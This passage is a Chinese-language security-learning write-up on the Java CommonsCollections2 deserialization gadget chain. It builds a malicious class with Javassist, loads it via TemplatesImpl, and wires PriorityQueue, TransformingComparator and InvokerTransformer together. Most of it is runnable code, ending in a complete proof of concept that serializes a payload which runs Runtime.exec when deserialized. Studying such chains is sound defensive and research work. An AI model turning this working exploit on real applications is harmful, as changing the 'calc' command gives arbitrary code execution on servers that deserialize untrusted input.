看了一下,AbstractTranslet是一个抽象类,只需要在利用javasist创建恶意字节代码时继承这个类就行了

然后调用defineClass方法需要新建TransletClassLoader对象loader,在其中定义了一个函数需要使用_tfactory,所以修改后的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
ClassPool pool = ClassPool.getDefault();  
//添加类搜索路径
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass test = pool.makeClass("Evil");
String cmd = "System.out.println(\"Hello,Javasist\");";
//选择继承的类为AbstractTranslet
test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
CtConstructor constructor = test.makeClassInitializer();
constructor.insertBefore(cmd);
test.writeFile("./");
byte[] bytes = test.toBytecode();
TemplatesImpl templates = TemplatesImpl.class.newInstance();

Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
//修改_name的值
Field _name = temp.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"tttt");
//修改_class的值
Field _class = temp.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(templates,null)
//修改_bytecodes的值
Field _bytecodes = temp.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates,new byte[][]{bytes});
//修改_tfactory的值
Field _tfactory = temp.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());
//执行最外面的函数newTransformer()
templates.newTransformer();

这些前置知识到这里就分析完了,我们最后要利用这个TemplatesImpl去加载我们生成的恶意字节码,但是我们还缺一个反序列化的入口,这个入口接下来将在cc2链中介绍

CC2链条分析

cc1的链加上PriorityQueue链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cc2Tester {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
TransformingComparator transformingComparator = new TransformingComparator(chain);
//也可通过构造函数直接进行传入
//PriorityQueue queue = new PriorityQueue(1,transformingComparator);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);

Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,transformingComparator);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./evil.bin"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./evil.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}
}

先看一眼利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
newInstance()
Runtime.getRuntime().exec("calc")

注意:这里可以使用CC1中的方法来构造我们的恶意类,然后利用CC2链中的PriorityQueue中的反序列化,但这个反序列化值能命令执行,使用加载字节码的方法可以代码执行

代码1

InvokerTransformer.transform()和cc1中的一样,就是通过反射执行指定对象的函数,所以我们可以将这个TemplatesImpl中的newTransformer()方法传入其中

1
2
3
4
Constructor constructor =Class.forName("org.apache.commons.collections4.functors.InvokerTransformer")
.getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer)constructor.newInstance("newTransformer");

代码2

按照CC1分析中的思路,我们还需要找到一个方法执行transform(),并且能够被反序列化

最后找到了TransformingComparator中的compare()方法

很神奇,commons-collections4中的这个类继承了序列化接口,而commons-collections3没有继承

可以看到compare()方法中调用了transform()方法

1
TransformingComparator comparator = new TransformingComparator(transformer);

代码3

但是这个类中的compare方法的参数是不可控的,所以我们需要寻找一个参数可控的compare方法,按住alt+F7查找所有的compare方法,PriorityQueue类中的siftDownUsingComparator()方法调用了comparator对象的compare方法,并且这个comparator对象也是可控的,并且传入的参数x会传到compare方法中,也就是这里会执行我们传入的TransformingComparator对象的compare方法

查找谁调用了siftDownUsingComparator()方法,发现是siftDown()方法,并且参数有x
它的逻辑是如果comparator不为null就调用这个函数,所以我们需要使用反射修改这个值为 TransformingComparator对象

接着往上找,发现heapify()方法调用,并且x的值就是queue数组中的值


代码的逻辑就是将size右移一位然后减1,假如size是1的话就是那么化成二进制是01,向右移动一位就是00,然后减去1就是-1了,不会进入循环;如果是2的话,化成二进制就是0010,右移一位就是0001,然后减去1就是0,会进入循环,也就会执行siftDown()方法

继续往上找,直到找到readObject方法调用我们可控的方法

代码逻辑就是将queue中的每个值都反序列化,然后调用heapify()方法,由上一步的分析可以知道,只要我们控制queue的值就会调用我们分析的一层层的方法

queue是禁止反序列化的,size是private属性,且初始值是0
所以queue和size只需要使用反射修改即可

注意:这里一开始因为queue前面有transient修饰让我有一些疑惑,加了这个关键字后这个不是不能进行序列化操作了吗?但是发现它是将queue里面的对象进行的序列化和反序列化,所以我想对我们的利用是没有影响的吧(纯推想,欢迎指正😉)

根据上面的分析,我们总共需要设置3个变量:queue、size、comparator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PriorityQueue queue = new PriorityQueue(1);  
//设置queue的值
Object[] queue_array = new Object[]{templates,1};
Field queue_field=Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
//设置size的值
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
//设置comparator的值
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,comparator);

完整poc代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;

public class cc2Tester {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, CannotCompileException, NotFoundException, IOException, TransformerConfigurationException {
ClassPool pool = ClassPool.getDefault();
//添加类搜索路径
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass test = pool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
//选择继承的类为AbstractTranslet
test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
CtConstructor constructor1 = test.makeClassInitializer();
constructor1.insertBefore(cmd);
test.writeFile("./");
byte[] bytes = test.toBytecode();
TemplatesImpl templates = TemplatesImpl.class.newInstance();

Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
//修改_name的值
Field _name = temp.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"tttt");
//修改_class的值
Field _class = temp.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(templates,null);
//修改_bytecodes的值
Field _bytecodes = temp.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates,new byte[][]{bytes});
//修改_tfactory的值
Field _tfactory = temp.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());
//执行最外面的函数newTransformer()
templates.newTransformer();

Constructor constructor2 =Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor2.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer)constructor2.newInstance("newTransformer");

TransformingComparator comparator = new TransformingComparator(transformer);

PriorityQueue queue = new PriorityQueue(1);
//设置queue的值
Object[] queue_array = new Object[]{templates,1};
Field queue_field=Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
//设置size的值
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
//设置comparator的值
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,comparator);

//序列化与反序列化
ObjectOutputStream serialize = new ObjectOutputStream(new FileOutputStream("./cc2"));
serialize.writeObject(queue);
serialize.close();

ObjectInputStream deserialize = new ObjectInputStream(new FileInputStream("./cc2"));
deserialize.readObject();
deserialize.close();

}
}